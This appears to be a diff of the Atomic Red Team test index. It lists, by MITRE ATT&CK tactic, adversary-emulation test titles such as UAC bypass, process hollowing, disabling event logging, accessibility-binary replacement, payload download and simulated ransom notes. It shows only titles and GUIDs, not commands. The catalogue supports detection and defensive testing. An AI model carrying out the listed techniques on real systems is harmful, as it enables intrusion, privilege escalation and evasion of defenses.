10 defense-evasion T1222.002 File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification 9 chattr - Remove immutable file attribute e7469fe2-ad41-4382-8965-99b94dd3c13f sh
11 defense-evasion T1222.002 File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification 11 Chmod through c script 973631cf-6680-4ffa-a053-045e1b6b67ab sh
12 defense-evasion T1222.002 File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification 13 Chown through c script 18592ba1-5f88-4e3c-abc8-ab1c6042e389 sh
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 1 Decode Eicar File and Write to File 7693ccaa-8d64-4043-92a5-a2eb70359535 powershell
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 2 Decrypt Eicar File and Write to File b404caaa-12ce-43c7-9214-62a531c044f7 powershell
13 defense-evasion T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 Sudo usage 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e sh
14 defense-evasion T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching 3 Unlimited sudo cache timeout a7b17659-dd5e-46f7-b7d1-e6792c91d0bc sh
15 defense-evasion T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching 5 Disable tty_tickets for sudo caching 91a60b03-fb75-4d24-a42e-2eb8956e8de1 sh
16 defense-evasion T1036.005 Masquerading: Match Legitimate Name or Location 1 Execute a process from a directory masquerading as the current parent directory Execute a process from a directory masquerading as the current parent directory. 812c3ab8-94b0-4698-a9bf-9420af23ce24 sh
17 defense-evasion T1497.001 Virtualization/Sandbox Evasion: System Checks 4 Detect Virtualization Environment via ioreg a960185f-aef6-4547-8350-d1ce16680d09 sh
18 defense-evasion T1497.001 Virtualization/Sandbox Evasion: System Checks 6 Detect Virtualization Environment using sysctl (hw.model) 6beae646-eb4c-4730-95be-691a4094408c sh
19 defense-evasion T1497.001 Virtualization/Sandbox Evasion: System Checks 7 Check if System Integrity Protection is enabled 2b73cd9b-b2fb-4357-b9d7-c73c41d9e945 sh
@@ -18,8 +18,6 @@ defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,15,Rundll32 ex
defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,16,Rundll32 execute payload by calling RouteTheCall,8a7f56ee-10e7-444c-a139-0109438288eb,powershell
defense-evasion,T1216.001,Signed Script Proxy Execution: Pubprn,1,PubPrn.vbs Signed Script Bypass,9dd29a1f-1e16-4862-be83-913b10a88f6c,command_prompt
defense-evasion,T1006,Direct Volume Access,1,Read volume boot sector via DOS device path (PowerShell),88f6327e-51ec-4bbf-b2e8-3fea534eab8b,powershell
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,1,Decode Eicar File and Write to File,7693ccaa-8d64-4043-92a5-a2eb70359535,powershell
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,2,Decrypt Eicar File and Write to File,b404caaa-12ce-43c7-9214-62a531c044f7,powershell
defense-evasion,T1036.007,Masquerading: Double File Extension,1,File Extension Masquerading,c7fa0c3b-b57f-4cba-9118-863bf4e653fc,command_prompt
defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,1,Bypass UAC using Event Viewer (cmd),5073adf8-9a50-4bd9-b298-a9bd2ead8af9,command_prompt
defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,2,Bypass UAC using Event Viewer (PowerShell),a6ce9acf-842a-4af6-8f79-539be7608e2b,powershell
@@ -52,7 +50,6 @@ defense-evasion,T1542.001,Pre-OS Boot: System Firmware,1,UEFI Persistence via Wp
defense-evasion,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell
defense-evasion,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,2,Service ImagePath Change with reg.exe,f38e9eea-e1d7-4ba6-b716-584791963827,command_prompt
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,2,Masquerade as a built-in system executable,35eb8d16-9820-4423-a2a1-90c4f5edd9ca,powershell
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,3,Masquerading cmd.exe as VEDetector.exe,03ae82a6-9fa0-465b-91df-124d8ca5c4e8,powershell
defense-evasion,T1564,Hide Artifacts,1,Extract binary files via VBA,6afe288a-8a8b-4d33-a629-8d03ba9dad3a,powershell
defense-evasion,T1564,Hide Artifacts,2,"Create a Hidden User Called ""$""",2ec63cc2-4975-41a6-bf09-dffdfb610778,command_prompt
defense-evasion,T1564,Hide Artifacts,3,"Create an ""Administrator "" user (with a space on the end)",5bb20389-39a5-4e99-9264-aeb92a55a85c,powershell
@@ -105,7 +102,6 @@ defense-evasion,T1202,Indirect Command Execution,4,Indirect Command Execution -
defense-evasion,T1202,Indirect Command Execution,5,Indirect Command Execution - RunMRU Dialog,de323a93-2f18-4bd5-ba60-d6fca6aeff76,powershell
defense-evasion,T1140,Deobfuscate/Decode Files or Information,1,Deobfuscate/Decode Files Or Information,dc6fe391-69e6-4506-bd06-ea5eeb4082f8,command_prompt
defense-evasion,T1140,Deobfuscate/Decode Files or Information,2,Certutil Rename and Decode,71abc534-3c05-4d0c-80f7-cbe93cb2aa94,command_prompt
defense-evasion,T1140,Deobfuscate/Decode Files or Information,11,Expand CAB with expand.exe,9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11,command_prompt
defense-evasion,T1562,Impair Defenses,1,Windows Disable LSA Protection,40075d5f-3a70-4c66-9125-f72bee87247d,command_prompt
defense-evasion,T1055.003,Thread Execution Hijacking,1,Thread Execution Hijacking,578025d5-faa9-4f6d-8390-aae527d503e1,powershell
defense-evasion,T1036,Masquerading,1,System File Copied to Unusual Location,51005ac7-52e2-45e0-bdab-d17c6d4916cd,powershell
@@ -380,7 +376,6 @@ defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,54,Disable Ev
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,55,Disable EventLog-Application Auto Logger Session Via Registry - PowerShell,da86f239-9bd3-4e85-92ed-4a94ef111a1c,powershell
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,56,Disable EventLog-Application ETW Provider Via Registry - Cmd,1cac9b54-810e-495c-8aac-989e0076583b,command_prompt
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,57,Disable EventLog-Application ETW Provider Via Registry - PowerShell,8f907648-1ebf-4276-b0f0-e2678ca474f0,powershell
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,58,Freeze PPL-protected process with EDR-Freeze,cbb2573a-a6ad-4c87-aef8-6e175598559b,powershell
defense-evasion,T1055.012,Process Injection: Process Hollowing,1,Process Hollowing using PowerShell,562427b4-39ef-4e8c-af88-463a78e70b9c,powershell
defense-evasion,T1055.012,Process Injection: Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4136-837c-4027e4fa319b,powershell
defense-evasion,T1055.012,Process Injection: Process Hollowing,3,Process Hollowing in Go using CreateProcessW WinAPI,c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a,powershell
@@ -578,8 +573,6 @@ privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,6,Replace utilman.exe (Ease of Access Binary) with cmd.exe,1db380da-3422-481d-a3c8-6d5770dba580,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,7,Replace Magnify.exe (Magnifier binary) with cmd.exe,5e4fa70d-c789-470e-85e1-6992b92bb321,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,8,Replace Narrator.exe (Narrator binary) with cmd.exe,2002f5ea-cd13-4c82-bf73-e46722e5dc5e,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,9,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,825ba8ca-71cc-436b-b1dd-ea0d5e109086,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,10,Replace AtBroker.exe (App Switcher binary) with cmd.exe,210be7ea-d841-40ec-b3e1-ff610bb62744,command_prompt
privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,1,Process Injection via C#,611b39b7-e243-4c81-87a4-7145a90358b1,command_prompt
privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,2,EarlyBird APC Queue Injection in Go,73785dd2-323b-4205-ab16-bb6f06677e14,powershell
privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,3,Remote Process Injection with Go using NtQueueApcThreadEx WinAPI,4cc571b1-f450-414a-850f-879baf36aa06,powershell
@@ -704,7 +697,6 @@ execution,T1204.002,User Execution: Malicious File,8,Potentially Unwanted Applic
execution,T1204.002,User Execution: Malicious File,9,Office Generic Payload Download,5202ee05-c420-4148-bf5e-fd7f7d24850c,powershell
execution,T1204.002,User Execution: Malicious File,10,LNK Payload Download,581d7521-9c4b-420e-9695-2aec5241167f,powershell
execution,T1204.002,User Execution: Malicious File,11,Mirror Blast Emulation,24fd9719-7419-42dd-bce6-ab3463110b3c,powershell
execution,T1204.002,User Execution: Malicious File,12,ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell,3f3120f0-7e50-4be2-88ae-54c61230cb9f,powershell
execution,T1106,Native API,1,Execution through API - CreateProcess,99be2089-c52d-4a4a-b5c3-261ee42c8b62,command_prompt
execution,T1106,Native API,2,WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique,ce4e76e6-de70-4392-9efe-b281fc2b4087,powershell
execution,T1106,Native API,3,WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique,7ec5b74e-8289-4ff2-a162-b6f286a33abd,powershell
@@ -935,8 +927,6 @@ persistence,T1546.008,Event Triggered Execution: Accessibility Features,5,Auto-s
persistence,T1546.008,Event Triggered Execution: Accessibility Features,6,Replace utilman.exe (Ease of Access Binary) with cmd.exe,1db380da-3422-481d-a3c8-6d5770dba580,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,7,Replace Magnify.exe (Magnifier binary) with cmd.exe,5e4fa70d-c789-470e-85e1-6992b92bb321,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,8,Replace Narrator.exe (Narrator binary) with cmd.exe,2002f5ea-cd13-4c82-bf73-e46722e5dc5e,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,9,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,825ba8ca-71cc-436b-b1dd-ea0d5e109086,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,10,Replace AtBroker.exe (App Switcher binary) with cmd.exe,210be7ea-d841-40ec-b3e1-ff610bb62744,command_prompt
persistence,T1136.002,Create Account: Domain Account,1,Create a new Windows domain admin user,fcec2963-9951-4173-9bfa-98d8b7834e62,command_prompt
persistence,T1136.002,Create Account: Domain Account,2,Create a new account similar to ANONYMOUS LOGON,dc7726d2-8ccb-4cc6-af22-0d5afb53a548,command_prompt
persistence,T1136.002,Create Account: Domain Account,3,Create a new Domain Account using PowerShell,5a3497a4-1568-4663-b12a-d4a5ed70c7d7,powershell
@@ -1084,7 +1074,6 @@ collection,T1560.001,Archive Collected Data: Archive via Utility,3,Compress Data
collection,T1560.001,Archive Collected Data: Archive via Utility,4,Compress Data and lock with password for Exfiltration with 7zip,d1334303-59cb-4a03-8313-b3e24d02c198,command_prompt
collection,T1560.001,Archive Collected Data: Archive via Utility,10,ESXi - Remove Syslog remote IP,36c62584-d360-41d6-886f-d194654be7c2,powershell
collection,T1560.001,Archive Collected Data: Archive via Utility,11,Compress a File for Exfiltration using Makecab,2a7bc405-9555-4f49-ace2-b2ae2941d629,command_prompt
collection,T1560.001,Archive Collected Data: Archive via Utility,12,Copy and Compress AppData Folder,05e8942e-f04f-460a-b560-f7781257feec,powershell
collection,T1113,Screen Capture,7,Windows Screencapture,3c898f62-626c-47d5-aad2-6de873d69153,powershell
collection,T1113,Screen Capture,8,Windows Screen Capture (CopyFromScreen),e9313014-985a-48ef-80d9-cde604ffc187,powershell
collection,T1113,Screen Capture,9,Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted,5a496325-0115-4274-8eb9-755b649ad0fb,powershell
@@ -1487,7 +1476,6 @@ impact,T1489,Service Stop,3,Windows - Stop service by killing process,f3191b84-c
impact,T1491.001,Defacement: Internal Defacement,1,Replace Desktop Wallpaper,30558d53-9d76-41c4-9267-a7bd5184bed3,powershell
impact,T1491.001,Defacement: Internal Defacement,2,Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message,ffcbfaab-c9ff-470b-928c-f086b326089b,powershell
impact,T1491.001,Defacement: Internal Defacement,3,ESXi - Change Welcome Message on Direct Console User Interface (DCUI),30905f21-34f3-4504-8b4c-f7a5e314b810,command_prompt
impact,T1491.001,Defacement: Internal Defacement,4,Windows - Display a simulated ransom note via Notepad (non-destructive),0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5,powershell
impact,T1531,Account Access Removal,1,Change User Password - Windows,1b99ef28-f83c-4ec5-8a08-1a56263a5bb2,command_prompt
impact,T1531,Account Access Removal,2,Delete User - Windows,f21a1d7d-a62f-442a-8c3a-2440d43b19e5,command_prompt
impact,T1531,Account Access Removal,3,Remove Account From Domain Admin Group,43f71395-6c37-498e-ab17-897d814a0947,powershell
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
18 defense-evasion T1218.011 Signed Binary Proxy Execution: Rundll32 16 Rundll32 execute payload by calling RouteTheCall 8a7f56ee-10e7-444c-a139-0109438288eb powershell
19 defense-evasion T1216.001 Signed Script Proxy Execution: Pubprn 1 PubPrn.vbs Signed Script Bypass 9dd29a1f-1e16-4862-be83-913b10a88f6c command_prompt
20 defense-evasion T1006 Direct Volume Access 1 Read volume boot sector via DOS device path (PowerShell) 88f6327e-51ec-4bbf-b2e8-3fea534eab8b powershell
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 1 Decode Eicar File and Write to File 7693ccaa-8d64-4043-92a5-a2eb70359535 powershell
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 2 Decrypt Eicar File and Write to File b404caaa-12ce-43c7-9214-62a531c044f7 powershell
21 defense-evasion T1036.007 Masquerading: Double File Extension 1 File Extension Masquerading c7fa0c3b-b57f-4cba-9118-863bf4e653fc command_prompt
22 defense-evasion T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control 1 Bypass UAC using Event Viewer (cmd) 5073adf8-9a50-4bd9-b298-a9bd2ead8af9 command_prompt
23 defense-evasion T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control 2 Bypass UAC using Event Viewer (PowerShell) a6ce9acf-842a-4af6-8f79-539be7608e2b powershell
50 defense-evasion T1574.011 Hijack Execution Flow: Services Registry Permissions Weakness 1 Service Registry Permissions Weakness f7536d63-7fd4-466f-89da-7e48d550752a powershell
51 defense-evasion T1574.011 Hijack Execution Flow: Services Registry Permissions Weakness 2 Service ImagePath Change with reg.exe f38e9eea-e1d7-4ba6-b716-584791963827 command_prompt
52 defense-evasion T1036.005 Masquerading: Match Legitimate Name or Location 2 Masquerade as a built-in system executable 35eb8d16-9820-4423-a2a1-90c4f5edd9ca powershell
defense-evasion T1036.005 Masquerading: Match Legitimate Name or Location 3 Masquerading cmd.exe as VEDetector.exe 03ae82a6-9fa0-465b-91df-124d8ca5c4e8 powershell
53 defense-evasion T1564 Hide Artifacts 1 Extract binary files via VBA 6afe288a-8a8b-4d33-a629-8d03ba9dad3a powershell
54 defense-evasion T1564 Hide Artifacts 2 Create a Hidden User Called "$" 2ec63cc2-4975-41a6-bf09-dffdfb610778 command_prompt
55 defense-evasion T1564 Hide Artifacts 3 Create an "Administrator " user (with a space on the end) 5bb20389-39a5-4e99-9264-aeb92a55a85c powershell
102 defense-evasion T1202 Indirect Command Execution 5 Indirect Command Execution - RunMRU Dialog de323a93-2f18-4bd5-ba60-d6fca6aeff76 powershell
103 defense-evasion T1140 Deobfuscate/Decode Files or Information 1 Deobfuscate/Decode Files Or Information dc6fe391-69e6-4506-bd06-ea5eeb4082f8 command_prompt
104 defense-evasion T1140 Deobfuscate/Decode Files or Information 2 Certutil Rename and Decode 71abc534-3c05-4d0c-80f7-cbe93cb2aa94 command_prompt
defense-evasion T1140 Deobfuscate/Decode Files or Information 11 Expand CAB with expand.exe 9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11 command_prompt
105 defense-evasion T1562 Impair Defenses 1 Windows Disable LSA Protection 40075d5f-3a70-4c66-9125-f72bee87247d command_prompt
106 defense-evasion T1055.003 Thread Execution Hijacking 1 Thread Execution Hijacking 578025d5-faa9-4f6d-8390-aae527d503e1 powershell
107 defense-evasion T1036 Masquerading 1 System File Copied to Unusual Location 51005ac7-52e2-45e0-bdab-d17c6d4916cd powershell
376 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 55 Disable EventLog-Application Auto Logger Session Via Registry - PowerShell da86f239-9bd3-4e85-92ed-4a94ef111a1c powershell
377 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 56 Disable EventLog-Application ETW Provider Via Registry - Cmd 1cac9b54-810e-495c-8aac-989e0076583b command_prompt
378 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 57 Disable EventLog-Application ETW Provider Via Registry - PowerShell 8f907648-1ebf-4276-b0f0-e2678ca474f0 powershell
defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 58 Freeze PPL-protected process with EDR-Freeze cbb2573a-a6ad-4c87-aef8-6e175598559b powershell
379 defense-evasion T1055.012 Process Injection: Process Hollowing 1 Process Hollowing using PowerShell 562427b4-39ef-4e8c-af88-463a78e70b9c powershell
380 defense-evasion T1055.012 Process Injection: Process Hollowing 2 RunPE via VBA 3ad4a037-1598-4136-837c-4027e4fa319b powershell
381 defense-evasion T1055.012 Process Injection: Process Hollowing 3 Process Hollowing in Go using CreateProcessW WinAPI c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a powershell
573 privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 6 Replace utilman.exe (Ease of Access Binary) with cmd.exe 1db380da-3422-481d-a3c8-6d5770dba580 command_prompt
574 privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 7 Replace Magnify.exe (Magnifier binary) with cmd.exe 5e4fa70d-c789-470e-85e1-6992b92bb321 command_prompt
575 privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 8 Replace Narrator.exe (Narrator binary) with cmd.exe 2002f5ea-cd13-4c82-bf73-e46722e5dc5e command_prompt
privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 9 Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe 825ba8ca-71cc-436b-b1dd-ea0d5e109086 command_prompt
privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 10 Replace AtBroker.exe (App Switcher binary) with cmd.exe 210be7ea-d841-40ec-b3e1-ff610bb62744 command_prompt
576 privilege-escalation T1055.004 Process Injection: Asynchronous Procedure Call 1 Process Injection via C# 611b39b7-e243-4c81-87a4-7145a90358b1 command_prompt
577 privilege-escalation T1055.004 Process Injection: Asynchronous Procedure Call 2 EarlyBird APC Queue Injection in Go 73785dd2-323b-4205-ab16-bb6f06677e14 powershell
578 privilege-escalation T1055.004 Process Injection: Asynchronous Procedure Call 3 Remote Process Injection with Go using NtQueueApcThreadEx WinAPI 4cc571b1-f450-414a-850f-879baf36aa06 powershell
697 execution T1204.002 User Execution: Malicious File 9 Office Generic Payload Download 5202ee05-c420-4148-bf5e-fd7f7d24850c powershell
698 execution T1204.002 User Execution: Malicious File 10 LNK Payload Download 581d7521-9c4b-420e-9695-2aec5241167f powershell
699 execution T1204.002 User Execution: Malicious File 11 Mirror Blast Emulation 24fd9719-7419-42dd-bce6-ab3463110b3c powershell
execution T1204.002 User Execution: Malicious File 12 ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell 3f3120f0-7e50-4be2-88ae-54c61230cb9f powershell
700 execution T1106 Native API 1 Execution through API - CreateProcess 99be2089-c52d-4a4a-b5c3-261ee42c8b62 command_prompt
701 execution T1106 Native API 2 WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique ce4e76e6-de70-4392-9efe-b281fc2b4087 powershell
702 execution T1106 Native API 3 WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique 7ec5b74e-8289-4ff2-a162-b6f286a33abd powershell
927 persistence T1546.008 Event Triggered Execution: Accessibility Features 6 Replace utilman.exe (Ease of Access Binary) with cmd.exe 1db380da-3422-481d-a3c8-6d5770dba580 command_prompt
928 persistence T1546.008 Event Triggered Execution: Accessibility Features 7 Replace Magnify.exe (Magnifier binary) with cmd.exe 5e4fa70d-c789-470e-85e1-6992b92bb321 command_prompt
929 persistence T1546.008 Event Triggered Execution: Accessibility Features 8 Replace Narrator.exe (Narrator binary) with cmd.exe 2002f5ea-cd13-4c82-bf73-e46722e5dc5e command_prompt
persistence T1546.008 Event Triggered Execution: Accessibility Features 9 Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe 825ba8ca-71cc-436b-b1dd-ea0d5e109086 command_prompt
persistence T1546.008 Event Triggered Execution: Accessibility Features 10 Replace AtBroker.exe (App Switcher binary) with cmd.exe 210be7ea-d841-40ec-b3e1-ff610bb62744 command_prompt
930 persistence T1136.002 Create Account: Domain Account 1 Create a new Windows domain admin user fcec2963-9951-4173-9bfa-98d8b7834e62 command_prompt
931 persistence T1136.002 Create Account: Domain Account 2 Create a new account similar to ANONYMOUS LOGON dc7726d2-8ccb-4cc6-af22-0d5afb53a548 command_prompt
932 persistence T1136.002 Create Account: Domain Account 3 Create a new Domain Account using PowerShell 5a3497a4-1568-4663-b12a-d4a5ed70c7d7 powershell
1074 collection T1560.001 Archive Collected Data: Archive via Utility 4 Compress Data and lock with password for Exfiltration with 7zip d1334303-59cb-4a03-8313-b3e24d02c198 command_prompt
1075 collection T1560.001 Archive Collected Data: Archive via Utility 10 ESXi - Remove Syslog remote IP 36c62584-d360-41d6-886f-d194654be7c2 powershell
1076 collection T1560.001 Archive Collected Data: Archive via Utility 11 Compress a File for Exfiltration using Makecab 2a7bc405-9555-4f49-ace2-b2ae2941d629 command_prompt
collection T1560.001 Archive Collected Data: Archive via Utility 12 Copy and Compress AppData Folder 05e8942e-f04f-460a-b560-f7781257feec powershell
1077 collection T1113 Screen Capture 7 Windows Screencapture 3c898f62-626c-47d5-aad2-6de873d69153 powershell
1078 collection T1113 Screen Capture 8 Windows Screen Capture (CopyFromScreen) e9313014-985a-48ef-80d9-cde604ffc187 powershell
1079 collection T1113 Screen Capture 9 Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted 5a496325-0115-4274-8eb9-755b649ad0fb powershell
1476 impact T1491.001 Defacement: Internal Defacement 1 Replace Desktop Wallpaper 30558d53-9d76-41c4-9267-a7bd5184bed3 powershell
1477 impact T1491.001 Defacement: Internal Defacement 2 Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message ffcbfaab-c9ff-470b-928c-f086b326089b powershell
1478 impact T1491.001 Defacement: Internal Defacement 3 ESXi - Change Welcome Message on Direct Console User Interface (DCUI) 30905f21-34f3-4504-8b4c-f7a5e314b810 command_prompt
impact T1491.001 Defacement: Internal Defacement 4 Windows - Display a simulated ransom note via Notepad (non-destructive) 0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5 powershell
1479 impact T1531 Account Access Removal 1 Change User Password - Windows 1b99ef28-f83c-4ec5-8a08-1a56263a5bb2 command_prompt
1480 impact T1531 Account Access Removal 2 Delete User - Windows f21a1d7d-a62f-442a-8c3a-2440d43b19e5 command_prompt
1481 impact T1531 Account Access Removal 3 Remove Account From Domain Admin Group 43f71395-6c37-498e-ab17-897d814a0947 powershell
@@ -45,7 +45,7 @@
- T1556.009 Conditional Access Policies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1036.010 Masquerade Account Name [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1484 Domain or Tenant Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1078.004 Valid Accounts: Cloud Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -107,7 +107,7 @@
# lateral-movement
- T1550 Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1021.007 Cloud Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
# execution
- T1059.009 Cloud API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -10,7 +10,7 @@
- T1574.007 Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1006 Direct Volume Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1564.008 Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1027.013 Obfuscated Files or Information: Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1027.013 Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1014 Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1036.007 Masquerading: Double File Extension [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -44,7 +44,7 @@
- T1562.008 Impair Defenses: Disable Cloud Logs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1036.010 Masquerade Account Name [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1672 Email Spoofing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1078.004 Valid Accounts: Cloud Accounts](../../T1078.004/T1078.004.md)
- Atomic Test #1: Creating GCP Service Account and Service Account Key [google-workspace, iaas:gcp]
- T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -65,7 +65,7 @@
- T1021.007 Cloud Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.004 Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
# initial-access
- T1566.002 Phishing: Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -10,7 +10,7 @@
- T1574.007 Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1006 Direct Volume Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1564.008 Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1027.013 Obfuscated Files or Information: Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1027.013 Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1014 Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1036.007 Masquerading: Double File Extension [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+14 -28
View File
@@ -51,9 +51,7 @@
- T1666 Modify Cloud Resource Hierarchy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1564.008 Hide Artifacts: Email Hiding Rules](../../T1564.008/T1564.008.md)
